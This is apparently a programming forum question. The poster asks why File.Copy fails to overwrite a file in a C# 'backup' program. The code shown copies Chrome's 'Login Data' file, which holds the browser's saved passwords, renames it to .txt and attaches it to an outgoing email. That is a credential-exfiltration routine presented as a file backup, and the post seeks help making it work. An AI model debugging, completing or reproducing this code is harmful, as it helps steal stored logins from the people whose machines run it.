i'm writing a little C# application which backups my files periodically.
Now i encountered an issue cause of this File.Copy method not overwriting the already existing "Login File.txt" :
string local = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); //used to define Local
DirectoryInfo chrome = new DirectoryInfo(Local + @"\Google\Chrome\User Data\Default"); //used to define chrome directory
if (chrome.Exists) //method to check if file exist, than copy to *.txt file and attach to email for backups.
{
System.IO.File.Copy(local + @"\Google\Chrome\User Data\Default\Login Data", local + @"\Google\Chrome\User Data\Default\Login Data.txt", true);
message.Attachments.Add(new Attachment(local + @"\Google\Chrome\User Data\Default\Login Data.txt"));
}
I use the copy method cause seems that i cannot grab that file with no extension in my code, so i decided to use this turnaround and convert to a .txt file so i can properly attach to my email. However, i'm using this method: https://msdn.microsoft.com/en-us/library/9706cfs5(v=vs.110).aspx cause it allows to overwrite the destination files but seems this doesn't happen and my application stop sendign the backups cause of this.
I can affirm this is the issue since if i comment that part of code everything runs smoothly.
What am i doing wrong here?
Thanks for your answers in advance.